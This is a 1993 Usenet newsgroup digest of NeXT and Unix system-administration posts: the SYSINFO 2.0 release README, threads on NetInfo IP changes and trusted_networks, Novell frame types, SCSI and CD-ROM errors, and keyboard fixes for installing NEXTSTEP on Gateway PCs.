From: mcooper@acamar.usc.edu (Michael A. Cooper) Newsgroups: comp.sys.sun.admin,comp.unix.ultrix,comp.unix.aix,comp.sys.next.sysadmin Subject: SYSINFO 2.0 Now Available Date: 15 Jun 1993 12:34:34 -0700 Organization: USC Computing Services, Los Angeles Sender: mcooper@acamar.usc.edu Distribution: world Message-ID: <1vl88a$t7v@acamar.usc.edu> SYSINFO version 2.0 is now available. The README file follows. It will eventually be posted to one of the source groups. SYSINFO 2.0 Michael A. Cooper Research, Development, and Systems Group University Computing Services University of Southern California mcooper@usc.edu CHANGES The major changes since version 1.x include adding support for getting device information from the Open Boot PROM (OBP) on Sun-like machines and support for SunOS 5.x (Solaris 2.x). The OBP interface provides more information than ever. The OBP interface also gives sysinfo the ability to provide detailed information on what types of CPUs are available. SunOS 5.x comes with a number of features which makes SYSINFO much more portable across different manufacturer's hardware running SunOS 5.x. This includes the ability to determine the label on a disk drive in a device driver independent fashion. This ability alone should eliminate most of the problems with SYSINFO causing certain systems with certain system configurations to crash. (Which I still maintain is the fault of SunOS and not SYSINFO.) The OBP kernel interface in SunOS 5.x also adds the ability to associate nodes found by looking through the kernel with those nodes found by querying the OBP directly. This means SYSINFO can extract and assign much more information found by direct OBP queries than is possible with SunOS 4.x. See the file "ChangeLog" for a complete list of changes. GENERAL INFORMATION Sysinfo is a program which shows various pieces of information about a system. The original version was written to simply determine the model name of a system for use in /etc/motd. It also supported a few other pieces of information that were simple to obtain, but the method used to obtain the information on various different OS's varied. The current version shows many different "general" bits of system information as well as fairly detailed information on system devices such as disk drives, frame buffers, tape drives, and many others. A lot of the information sysinfo displays is difficult, if not impossible, to determine by normal OS commands and/or files after boot time on many OS's. Most of the OS specific information was determined by groveling /usr/include/{sys,machine,*dev}/*.h files, section 4 man pages, and reverse engineering the output from various commands like devinfo (SunOS) and using the trace(2) facility. Some of the network (netif) code was inspired by the sources to the 4.3BSD netstat and ifconfig commands. SUPPORTTED PLATFORMS Sysinfo has been tested on the platforms listed below. Porting to other BSD based Unix's is fairly straight-forward. Sun-3 SunOS 4.1.1 Sun-386 SunOS 4.0.1 Sun-4/SPARC SunOS 4.1.3, 5.2 SPARCbook-1 Solaris 1.0.1 SPARCbook Version A.3, B Solbourne Series5E OS/MP 4.1A DEC MIPS Ultrix 4.2A NeXT NeXT 2.2 IBM RS/6000 AIX 3.2 Alliant *Concentrix 5.X, *Concentrix-2800 2.0 * - No device information support INSTALLATION 1) Read the comments in "Makefile" and make any necessary changes. 2) Run "make". If you have multiple kernel architectures (kvm's) for the same OS (like for SunOS 4.x), you must compile and install sysinfo for each kernel arch. Currently, this is only required for SunOS 4.x. It is _NOT_ required for SunOS 5.x. 3) Run "make install" to install the sysinfo binary and "make install.man" to install the man page. BUG FIXES Please send bug fixes, suggestions, and comments to mcooper@usc.edu. WHERE TO GET IT The latest/greatest version of sysinfo is available via anonymous ftp on usc.edu in "/pub/sysinfo". PLATFORM SPECIFIC NOTES The following are notes regarding specific platforms: SunOS 4.x SYSINFO should be compiled for each kernel architecture machine you wish to run it on. This is only needed for SunOS 4.x. It is _NOT_ required for SunOS 5.x. (SYSINFO is normally installed into /usr/kvm and symlinked into something like /usr/local/bin.) This is necessary if you wish to be able to get the PROM version information. The SunOS 4.x interface to the PROM information does not permit having one binary that can determine the PROM information on all the different kernel architectures. This interface problem is fixed in SunOS 5.x. Your kernel must have NIT (Network Interface Tap) compiled into it in order to determine the Ethernet MAC address under SunOS 4.x. Sun386i device support is shakey, at best. No SCSI disk info is found. The kernel device init table doesn't seem to have any of the disk info in it. I haven't had time to track this down. SunOS 5.x Unlike SunOS 4.x, you only need one SYSINFO binary for each SunOS release. You do not need one for each kernel architecture. i.e. SYSINFO compiled under SunOS 5.2 on a SPARC machine will run on any SunOS 5.2 SPARC machine of any kernel architecture. Under SunOS 5.2 FCS on sun4d hosts (like the SPARCcenter-2000), the kernel has an empty value for the system "root nexus". This means that you will not see a proper device tree on such systems. Various nodes will not be attached where they should be. This bug cropped up between SunOS 5.2 ER2 and FCS. Ultrix Your kernel must have the PF (Packet Filter) compiled into it in order to determine the Ethernet MAC address. Determining the System Model on VAX and MIPS machines is very difficult. You can get a pretty good idea on most, but not all VAX and MIPS machines by determining the number of CPUs in a machine. You really need to know the clock speed of the CPUs to get a good idea. Unfortuntely, I have neither the time nor the equipment to work on this. NeXT Network address info for network interfaces is not working. There is currently no debugger that works with GCC 2.0 so I haven't spent time on this. AIX When looking up device information, SYSINFO uses the AIX "National Language Catalogs". This means that your $LANG environment variable must be set correctly. If it is not, SYSINFO may fail to find most device information. OTHER KNOWN PROBLEMS SPARCbook "id" DISKS The label on "id" disks on the SPARCbook-1 cannot be read. This appears to be because the definition of IDE_READ in <taddev/ide_drvr_def.h> is incorrect. This bug is present in Solaris 1.0.1 Rev A. -- Michael A. Cooper E-MAIL: mcooper@usc.edu Manager of Systems Administration PHONE (VOICE): 213-740-2957 University Computing Services PHONE (FAX): 213-740-9312 University of Southern California
Newsgroups: comp.sys.next.sysadmin From: bav@bergen.siodata.no (Bjorn Asle Valde) Subject: Re: Novell Netware: can one replace Ethernet_II with 802.3 ? (Summary) Message-ID: <1993Jun15.194020.15135@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway References: <J5FEBV2V@gwdu03.gwdg.de> Date: Tue, 15 Jun 93 19:40:20 GMT In article <J5FEBV2V@gwdu03.gwdg.de> trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels) writes: > In article <CPDEBVMK@gwdu03.gwdg.de> I wrote: > > > > hi, > > > > i do have a problem connecting to a Novell fileserver > > using Ethernet 802.3. There are other fileservers using > > Ethernet_II in the network, too. Now my slab initializes > > npsd with Ethernet_II frames instead of Ethernet 802.3. > > Has anyone managed to connect his NeXT to a Novell > > fileserver using Ethernet 802.3 frames? > > [...] some stuff deleted > > A solution is to change the line starting npsd in /etc/rc to > npsd -fEthernet_802.3. Then this line reads > > /usr/netware/etc/npsd -fEthernet_802.3 && (echo -n ' npsd') > > Now everything seems to work just fine. Thanks, nice to know. You probably knew this, but for those who don't: It's possible to se up an Novell 3.X server with one lan-adapter to "support" both type-II and 802.3 frames on the same net. I've done that and now I can see both types of server "frame-types" on my next. I'm not sure what, if any, dissadvanteges there are doing this. At least we are running it, and it's stable and in my $0.2 ok because I don't have to really worry about the frame-type question on clients. (I guess this is routing of sorts, so it could have performance problems in scale; our net is rather small&cossy... :-) > > It seems to be too late in startup of Netware to change > anything for sapd, also I doubt whether our novell admins > will ever decide to only use one type of frames. I would > still prefer a solution that would not require changing > /etc/rc i.e. use netinfo ;-). > > Many thanks to all fine folks who told me what to try > > Stephan Trebels <trebels@theo-phys.gwdg.de> Mvh, -bav -- Bjorn Asle Valde - SiO Data Bergen, Christiesgt.13, N-5015 Bergen, Norway. Email: valde@bergen.siodata.no Phones: +47-5-320240 Fax: +47-5-320238
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Changing IP numbers - NetInfo woes Message-ID: <C8oIJ4.GIK@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <C8oECo.E80@unixhub.SLAC.Stanford.EDU> Date: Tue, 15 Jun 1993 20:06:40 GMT In article <C8oECo.E80@unixhub.SLAC.Stanford.EDU> dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston) writes: >We maintain about 30 NeXTs with NetInfo in a mixed (yp) network. >In the near future, we have to change the IP numbers of many of the >machines to facilitate subnetting. We did a successful dry run of this >on four machines, including an NFS server, last Friday, and tried to do >the rest last night. >We ran into a problem we could not overcome. The master NetInfo server >could not be persuaded to reboot (it, of course, is one of the machines >having its IP number changed). The boot sequence is OK until rc starts >lookupd which seems to be unable to talk to netinfod (we get an series >of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages). >Our clone NetInfo server (which also had an IP change) behaved >similarly. >We had to restore the old /etc/netinfo database (which I at least >remembered to save) to get back on the air. Can anybody tell me what >crucial step I missed? This can happen if your NetInfo server's IP addr was listed in the / domain. Fire up NetInfo Mangler and see if that is the case. Also, it's usually easier to just take a T-connector with two terminators and bring the machine up, fix the bogus IP addr, and them reboot than to go back to the old /etc/netinfo. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels) Subject: Using xmodmap with Xmouse Message-ID: <82GEBWDO@gwdu03.gwdg.de> Keywords: Xmouse, X, keycode, keymap, xmodmap Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen Date: Tue, 15 Jun 1993 19:54:02 GMT hi folks, I do have a problem using Xmouse on a mono nonturbo slab that has a german keyboard (please don't tell me, not to use such a keyboard, it's shit, I know, but it's the only one I have ;-) So I want Xmouse to map Alt-1 on ~ for example. Standard X docs say: use xmodmap and modify the keymap, this works for standard and shift (so Shift-1 is "!" ok). The third element in the list should then be used when "the key and the most common modifier key are pressed simultaneously", whatever this modifier key might be. Therefore I used the following statement as xmodmap input: keycode 82 = 1 exclam asciitilde But this third element in the list will *never* be used, at least I never managed to get a asciitilde, whatever keys are pressed. I tried all standard X modifiers Shift, Lock, Control, Mod{1,2,3,4,5} (mapped them on keys), but I never managed to get any of them to work. Has anyone ever managed to map Alt-something with Xmouse? Perhaps there is even some stupid mistake... If this behaviour is really hardcoded in Xmouse (I don't hope that), where are the Xmouse sources, to take a look. BTW, are the Xfe sources public? There is some behaviour, I would *like* to change :-) Just in case I'm misunderstood, I *do* like Xmouse, I would just like to be able to use those unimportant keys in "~<>|{[]}\@#^". All of them are not available without Alt on a NeXT-german keyboard. thanks in advance
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach) Newsgroups: comp.sys.next.sysadmin Subject: what the heck is tex.pool? Message-ID: <ti6ls.740163046@tuhhco> Date: 15 Jun 93 16:50:46 GMT Sender: usenet@rztsun.rz.tu-harburg.de After having deleted this file by accident, I took it from the 3.0 CD. But now, running initex, I get the message: ! tex.pool doesn't match; tangle me again. What do I have to do? Any help would be appreciated! Regards, Ludger.
Newsgroups: comp.sys.next.sysadmin Subject: Help: Target 0 media error Message-ID: <1vn3vg$8e8@parsifal.umkc.edu> From: mlg@.cstp.umkc.edu (Meg Grice) Date: 16 Jun 1993 12:33:52 GMT Distribution: world Organization: University of Missouri Kansas City Originator: mlg@nike.cstp.umkc.edu Please help. A friend has a NeXTcube 030 running NeXTStep 2.1. It does not boot properly anymore and complains on fsck that it has a media error and list 4 blocks. It also says "the network is disabled or your computer is not connected to it". This computer has never been on the network. I have look at the disk program, but do not know how to get the program to repair the disk. Any help would be appreciated. Please email me directly. -- Meg Grice UNIX Systems Administrator
From: andrew@cubetech.com (Andrew Loewenstern) Newsgroups: comp.sys.next.sysadmin Subject: Re: Novell Netware 4 support ? Date: 16 Jun 1993 07:14:54 -0500 Organization: Cube Technologies, Inc Message-ID: <1vn2ru$98j@valinor.cubetech.com> References: <1993Jun14.182923.1@hei.unige.ch> In article <1993Jun14.182923.1@hei.unige.ch> droux@hei.unige.ch writes: > >My NeXT is connected to a Netware server Release 3 and our Novell administrator >will upgrade it to a Release 4 server. He told me that version 4 can accept >requests from version 3 clients but this is not very elegant. > >Is there any plans toward the support of the Release 4 NetWare servers by >NEXTSTEP ? Will it be integrated in a forthcoming version of NEXTSTEP, or is it >already supported in 3.1 ? (I'm using 3.0) The 3.0 NS client works as well with 4.0 NetWare servers as with 3.11 servers (which is slowly). I don't think NeXT can really support the 4.0 NetWare directory services with the current Workspace Manager anyway. andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.sysadmin From: hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) Subject: Low level scsi format for next? Message-ID: <1993Jun16.152800.23258@serval.net.wsu.edu> Keywords: scsi format low level Sender: news@serval.net.wsu.edu (USENET News System) Organization: School of EECS, Washington State University Date: Wed, 16 Jun 93 15:28:00 GMT Where can I find a program to do a low level format on a disk on one of our NeXTs? I have an older cube that we are trying to upgrade to 3.0, we are getting some scsi write errors while building the disk and I am hoping a low level format will fix the problem (any other ideas?). Thanks. -- Karl Hakimian hakimian@eecs.wsu.edu
Newsgroups: comp.sys.next.sysadmin From: hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) Subject: Nextdimension memory Message-ID: <1993Jun16.154435.23566@serval.net.wsu.edu> Keywords: nextdimension memory limit Sender: news@serval.net.wsu.edu (USENET News System) Organization: School of EECS, Washington State University Date: Wed, 16 Jun 93 15:44:35 GMT Is there a limit to how much memory can be put into a NeXTDimension board? We put 32megs in one of ours and we got system panics. With 20 meg it works fine. All 32 meg was tested and found to be good memory. -- Karl Hakimian hakimian@eecs.wsu.edu
Newsgroups: comp.sys.next.sysadmin From: anderson (Ken Anderson) Subject: Re: Changing IP numbers - NetInfo woes Message-ID: <1993Jun16.154737.2988@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <C8oECo.E80@unixhub.SLAC.Stanford.EDU> Date: Wed, 16 Jun 1993 15:47:37 GMT In article <C8oECo.E80@unixhub.SLAC.Stanford.EDU> dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston) writes: >We maintain about 30 NeXTs with NetInfo in a mixed (yp) network. >In the near future, we have to change the IP numbers of many of the >machines to facilitate subnetting. We did a successful dry run of this >on four machines, including an NFS server, last Friday, and tried to do >the rest last night. >We ran into a problem we could not overcome. The master NetInfo server >could not be persuaded to reboot (it, of course, is one of the machines >having its IP number changed). The boot sequence is OK until rc starts >lookupd which seems to be unable to talk to netinfod (we get an series >of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages). >Our clone NetInfo server (which also had an IP change) behaved >similarly. >We had to restore the old /etc/netinfo database (which I at least >remembered to save) to get back on the air. Can anybody tell me what >crucial step I missed? There are a number of steps you have to take when changing the ip address of a netinfo server. The way I do it... 1) Shut down all machines on the network, except for netinfo servers. 2) If the clones have any notions of ip addresses in their local netinfo, change them... then shut the clones down. 3) Modify the ip address on your netinfo server in 3 places: a) /etc/hostinfo b) In the local domain, /machines/<hostname>, fix ip address c) In the parent domain, /machines/<hostname>, fix ip address 4) Reboot NetInfo server. 5) Edit ip addresses in netinfo for the other machines, and reboot them. I don't think I've forgotten anything... good luck! Ken Anderson anderson@biztech.com Stamford, CT
Newsgroups: comp.sys.hp,comp.sys.next.sysadmin,comp.sys.next.hardware From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: How to utilize HP4M laser printer with NEXTSTEP Message-ID: <1993Jun16.181427.23812@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT Date: Wed, 16 Jun 1993 18:14:27 GMT We're considering the purchase of the top-of-the-line HP4M-whatever laser printer (10 MB RAM, ethernet interface, MIRVs, self-aware, etc) for use as a workgroup printer for several NeXT machines. The attraction of this printer is not only the 600 DPI printing but the 17 PPM engine. We will shortly (ha ha) receive some HP 735 systems as well. They will be running HPUX....for now (snicker). Here's the potential problem: the ethernet interface apparently does not support the "correct" BSD lpr network addressing, and uses some hack in which it appears to be a tty or something like that. There is some software which runs on HPUX systems that handles the addressing properly. Questions: 1. Will this software compile and run on NEXTSTEP (BSD vs. SysV Unix)? 2. If not, does HPUX support BSD lpr so I could route lpr jobs from the NeXTs to the printer via the HPUX system? 3. (Fall-back option) Has anyone used TTYDSP hardware on a NeXT to drive serial printers at insanely fast speeds? 115Kb/s might keep that printer cranking, if it can handle such speeds. Thanks. -- Nathan Janette Systems Manager, Axel T. Brunger Lab Internet: nathan@laplace.csb.yale.edu Voice: 203 432 5065 Fax: 203 432 3923
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin Subject: CDROM drive not recognized, need help deciphering error message Message-ID: <68525@mimsy.umd.edu> Date: 16 Jun 93 17:57:07 GMT Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 I recently installed a new CD ROM drive from MacWarehouse (CDR 0072 with double-speed and multi-session support) It is not recognized at boot time and I get the following error early in the boot process: mach: s0 (5,0): ERROR op:0x0 sd_state:10 scsi status:0x2 (WHAT DOES THIS MEAN?) where with a NeXT CD player I get something like: mach: SONY CD-ROM CDU-541 Rev 2.6a as sd2 at sc0 target 4 lun 0 mach: sd2: UNIT ATTENTION mach: Waiting for drive to come ready mach: mach: Disk Label: NeXTSTEP_3.0 mach: Disk Capacity 659MB, Device Block 2048 bytes mach: Disk is Write Protected (there was one additional SCSI device on the chain with the NeXT drive) Does anyone have any idea how to decipher the error message or where to go go for more info? -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin Subject: Re: CDROM drive not recognized, need help deciphering error message Message-ID: <68528@mimsy.umd.edu> Date: 16 Jun 93 18:08:29 GMT References: <68525@mimsy.umd.edu> Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 In article <68525@mimsy.umd.edu> I wrote: > I recently installed a new CD ROM drive from MacWarehouse > (CDR 0072 with double-speed and multi-session support) > It is not recognized at boot time and I get the following error early > in the boot process: > mach: s0 (5,0): ERROR op:0x0 sd_state:10 scsi status:0x2 (WHAT DOES THIS MEAN?) One new piece of info: the mechanism is a NEC CDR-55 drive. Does NeXTSTEP have drivers for this device? -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
Newsgroups: comp.sys.next.sysadmin From: raul@pencom.com (Raul Alvarez) Subject: Re: Changing IP numbers - NetInfo woes Message-ID: <1993Jun16.144703.15954@pencom.com> Sender: usenet@pencom.com (News system) Organization: Pencom Systems Incorporated References: <C8oECo.E80@unixhub.SLAC.Stanford.EDU> Date: Wed, 16 Jun 1993 14:47:03 GMT In article <C8oECo.E80@unixhub.SLAC.Stanford.EDU> dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston) writes: > We maintain about 30 NeXTs with NetInfo in a mixed (yp) network. > In the near future, we have to change the IP numbers of many of the > machines to facilitate subnetting. We did a successful dry run of this > on four machines, including an NFS server, last Friday, and tried to do > the rest last night. > We ran into a problem we could not overcome. The master NetInfo server > could not be persuaded to reboot (it, of course, is one of the machines > having its IP number changed). The boot sequence is OK until rc starts > lookupd which seems to be unable to talk to netinfod (we get an series > of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages). > Our clone NetInfo server (which also had an IP change) behaved > similarly. > We had to restore the old /etc/netinfo database (which I at least > remembered to save) to get back on the air. Can anybody tell me what > crucial step I missed? I had to do this also. It seems that you changed the netinfo database, but did you change /etc/hostconfig also? This file is created what you create a network server, but is not maintained by netinfo. I home this helps. -- Raul Alvarez raul@pencom.com 212-513-7777 NeXT Mail OK
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.stanford.edu (Matt Rollefson) Subject: NetInfo problems - lookupd not binding properly? Message-ID: <1993Jun16.220849.7125@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University Date: Wed, 16 Jun 93 22:08:49 GMT I've been having some problems getting a NetInfo network set up here. (What's wonderful about it is that I've previously set one up in similar conditions with no problems. Sigh...) In any event, I'm not trying anything especially fancy so far as I know. And the client machines do indeed get their proper IP address and seem to bind to the netinfo server without any problem, as reported by nidomain. However, when they get to the point in the boot process where they start up lookupd, it hangs with the following error message: Jun 16 09:47:26 yavin lookupd[70]: netinfo sleeping: RPC: Unable to receive; errno = Connection reset by peer Anyone have any clues as to what this means/how to fix it? Pointers to documentation are appreciated as well. Email and I'll summarize, if warranted. Thanks in advance. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.bugs Subject: [long]New Installation solutions for Gateway 2000 4DX2-66V with X30 Chip Set (recent models) Date: 16 Jun 1993 23:06:44 GMT Organization: University of Houston Message-ID: <1vo924$hnk@menudo.uh.edu> Previously I had made a posting about the problems we were having with installing NEXTSTEP/fip on some Gateway 2000 4DX2-66V machines. Specifically, we were having problems with the keyboards not responding (all types of keyboards). More specifically, this relates to Gateways with the revised Micronics System Boards u).sing the X30 Chip Set (Phoenix "80486 Rom BIOS Plus ver 0.10 GJX30-01d". Below are my notes for finally getting everything to work. These notes will be forwarded to NeXT, Inc. and Gateway 2000 as it seems to have something to do with a possible timing problem with the PS2Keyboard driver. NeXT and Gateway 2000 Tech Support have been outstanding and even though they couldn't solve the problem, they tried everything they could (NeXT even got a hold of one of the newer Gateway 2000 machines to try to solve the problem). Anyway, these notes explain installation problems and solutions that _should_ work, but there is no promise. Please read them carefully. I am sorry if they ramble on at times... :-) ************************************************************************* Gateway 2000 4DX2-66V Installation Notes (Please read carefully!) [Revised notes are at the bottom of the text. I have included all my notes so that others may possibly benefit from them or figure some more information out...] For Installation: Short Answer: Do not boot the system with the keyboard plugged in!!! If you are installing, then plug the keyboard in _only_ when it asks you questions like what language, what partition, etc. After the initial "mini" install, you can complete the entire installation with just the mouse plugged into COMA (COM1). Once you have NEXTSTEP installed and working, and then you do the final reboot into NEXSTEP, you can plug in the keyboard (In other words, don't plug in the keyboard until you are logged into the "me" account. Long Answer: Problem: NeXTSTEP/fip will not install with the keyboard plugged in while the machine is booting. This seems to be because of the conflict with the BIOS. Problem occurs during the following part of the boot process (using the Gateway.config): ISA bus Registering: PCKeyboard0 <- PS2Keyboard Registering: PCPointer0 <- PS2Mouse It was suggested that there was a possible IRQ/Device conflict between the keyboard and the Microsoft Serial mouse. The mouse and keyboard were moved to different interrupt vectors (IRQ 3 and IRQ5 respectively) but the problem still persisted. The following things were attempted to remedy the problem: Changed BIOS settings: The final decided BIOS settings were: Diskette A: 3.5", 1.44 MB Diskette B: Not Installed Cyl Hd Pre LZ Sec Size Hard Disk 1: Auto Config 1010 12 0 0 55 325 Hard Disk 2: Not Installed Base Memory: 640 KB HD1 Block Mode: Enable Extended Memory: 15360 KB HD2 Block Mode: Disable Video Card: VGA/EGA IDE Speed: Fast Keyboard: Not Installed System BIOS Shadow: Disable Internal Cache: Enable Video BIOS Shadow: Disable External Cache: Enable E8000h 32K Shadow : Disable F0000h-FFFFFh : Non Cacheable E0000h 32K Shadow : Disable C0000h-C7000h : Non Cacheable D8000h 32K Shadow : Disable On board COMA : COM1 D0000h 32K Shadow : Disable COMA_IRQ : IRQ-4 C8000h 32K Shadow : Disable On board COMB : Disabled Turbo : Enable COMB_IRQ : Disabled Bus Clock : 1/4 Clock On board LPT : Disabled Processor Type: 80486 Coprocessor Type: 487 or compatible Option ROMs Found: Reserved Memory: 3072k Segment Size BIOS Version #: 0.10 C000 32 k Video Mode: 03h DC00 16 k Serial Ports: 03F8h 02F8h Printer Ports: 03BCh The system could be used only if the following was done: 1) Disconnect the keyboard and boot the system 2) Connect the keyboard when prompted for question or need to log in This problem does not effect the DOS partition in any way. DOS can be used normally. More specifically, the keyboard works under NEXTSTEP for the initial boot process (i.e, it can be used to select partition to boot and for NEXTSTEP boot parameters). After it registers the PCKeyboard0 and PS2Mouse devices, the keyboard hangs, even if the keyboard is immediately disconnected after a response is entered in the boot manager. The only way to that NEXTSTEP will boot up and the keyboard will work under NEXTSTEP is to make sure the keyboard is disconnected during the entire boot phase. Probable cause for problem: NeXT had certified the Gateway 2000 systems to be "NEXTSTEP Compatible." The system that was certified was using a Phoenix BIOS with the MCM2 Chip Set and an older version of the Micronics system board. The Gateways that we received have a new version of the Micronics system board with a Phoenix "80486 Rom BIOS Plus ver 0.10 GJX30-01d". In otherwords, it was shipped with the X30 Chip Set instead of the MCM2 Chip Set. From what we can tell, there seems to be a slight, but serious, difference between the two chip sets and the way they handle the keyboard. It seems that during the NEXTSTEP boot process, there is a polling or resetting of the keyboard which is indicated by the "NUM LOCK" led being turned off (it is usually turned on when the system does its self diagnostics). It seems that the PS2Keyboard driver, which is the only one that NeXT includes with NEXSTEP 3.1 has a problem with the difference. It is possible that the problem is that the keyboard has been relocated to a new port (not likely since Gateway says it should be at port 0x60h which is the same as NeXT) or that a few initialization commands have been altered... Whatever the case, the keyboard (not just the 124-key "AnyKey" Gateway keyboard, but also an IBM, Zenith, etc) will not function if the system is booted into NEXTSTEP while it is connected to the computer. If it is connected after the boot process, everything functions normally. Solution found!!!! (well, kinda sorta as we are 1 for 2 on this....) Short answer: 1) In the file /usr/Devices/System.config/Instance0.table remove the PS2Mouse from the "Boot Drivers" line. [Note: it turned out that step #2 was not needed. It was actually the Turbo button... See below...] 2) In the file /usr/Devices/SerialPorts.config/Instance0.table change the IRQs from "4 3" to "4 9" (in two separate places.) The first change removes the poll for the PS2Mouse. Not sure why, but this definitely causes problems with the Gateways, even though it uses IRQ 12 and we are using Microsoft Serial Mice.... The second changes changes the IRQ for COM2. NOTE: An indication that the keyboard will work is if the Num Lock does not turn off during the boot phase. This should happen automatically when NEXTSTEP does the following: Registering: PCKeyboard0 If it doesn't then you most likely have a conflict with a driver... On another note: What is interesting about the whole mess is that we still can't get the keyboard to work on the system with the built in CD-Rom drive. The only difference between the two systems is the CD-Rom card, and even when that card was removed, the system still would not recognize the keyboard Well after more experimenting we stumbled on the real truth (I guess we were mostly correct..) The real answer: In addition to removing the PS2Mouse driver from the "Boot Drivers" line in System.config/Instance0.table, you need to make sure the turbo button is disabled during the boot/install process!!!!!!!!!! Honest!!!! This was the reason why we couldn't get the other machines to work. They had "Turbo" enabled via BIOS (which is ok!!) but it was also enabled via the front panel button. Disable Turbo during boot with this button, then enable it after NEXSTEP boots up. The keyboard will work!! [It seems to have something to do with timing for the keyboard. Maybe with the new BIOS, the keyboard doesn't respond fast enough???] ************** So here is the rule of thumb for Installing and running on the Gateway 2000 4DX2-66V with the Micronics System Board with the X30 Chip Set: For Installation -> do not plug in the keyboard until you are asked questions. Then plug it in and begin the installation. When you are told to "Eject the Floppy Disk and Press Return", eject the floppy, press return, then before the boot process begins, disconnect the keyboard. Do not connect it. You can complete the installation with only a mouse. When installation is completed, you will be asked to restart the system. Click on "RESTART" but LEAVE THE KEYBOARD UNPLUGGED! Now that the system is installed and you have restarted, wait until you are logged into the "me" account. Then plug in the keyboard, become root and then remove "PS2Mouse" from the file /usr/Devices/System.config/Instance0.table in the line "Boot Drivers". Now log out and reboot. When you reboot, you can leave the keyboard plugged in, but make sure the turbo light is off (disabled). To verify that your keyboard will work, watch to see if the "NUM LOCK" led stays lit. If so, then something is wrong and you will be without a keyboard... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.stanford.edu (Matt Rollefson) Subject: Re: NetInfo problems - lookupd not binding properly? Message-ID: <1993Jun17.015211.14753@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <1993Jun16.220849.7125@leland.stanford.edu> Date: Thu, 17 Jun 93 01:52:11 GMT In comp.sys.next.sysadmin draphsor@deathstar.stanford.edu writes: >I've been having some problems getting a NetInfo network set up here. >[The client machines boot and then give the following error:] >Jun 16 09:47:26 yavin lookupd[70]: netinfo sleeping: RPC: Unable to >receive; errno = Connection reset by peer Well, within an hour a kindly person at NeXT had sent me the proper information to get me up and running. It follows: From: Marc Majka <Marc_Majka@NeXT.COM> Check the value of the trusted_networks property in the root directory of your top-level NetInfo domain. If the value is incorrect, you'll get the "connection reset by peer" message. If your network includes several subnets, make sure each network number is listed as a value of trusted_networks. What is happening is that lookupd is failing because your your top-level domain won't allow connections from you local host's address. --------------------- That was indeed the problem, and things are now up and running. I'd just like to make a public "thank you" to NeXT in general and Marc in particular for responding so quickly and accurately to a publicly posted query. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: bezilla@SUN.REST.TASC.COM (Dan Bezilla) Newsgroups: comp.sys.next.sysadmin Subject: Need Help installing LaserJet IIP on Next Color Turbo Date: 17 Jun 1993 01:07:33 GMT Organization: TASC Message-ID: <1vog4l$5f9@voltaire5.aitc.rest.tasc.com> Just prior to NWE, I upgraded from 2.1 to 3.0. Until that time, I had been using a modified version of the DeskJet 500 input filter that almost worked with the LaserJet IIP. The original filter was written by Derek Beatty at CMU, and it was modified by Bill Thorson at Colo. State. I followed all the cabling described in the FAQ, and every thing was OK (except for about 0.25 in. page truncation which was livable). Once I upgraded my printing days ended. I have seen several questions asked but no hard core technical responses. As an added FYI, I do NOT have a postscript cartridge, just a vanilla LJIIP with 1.5M ram connected serially to my Turbo. Any help would be greatly appreciated. Reply to dbbezilla@tasc.com or bezilla@sun.rest.tasc.com or post a response, I sure there are others awaiting the same answer since I have seen their questions many times. -------------- Dan Bezilla dbbezilla@tasc.com
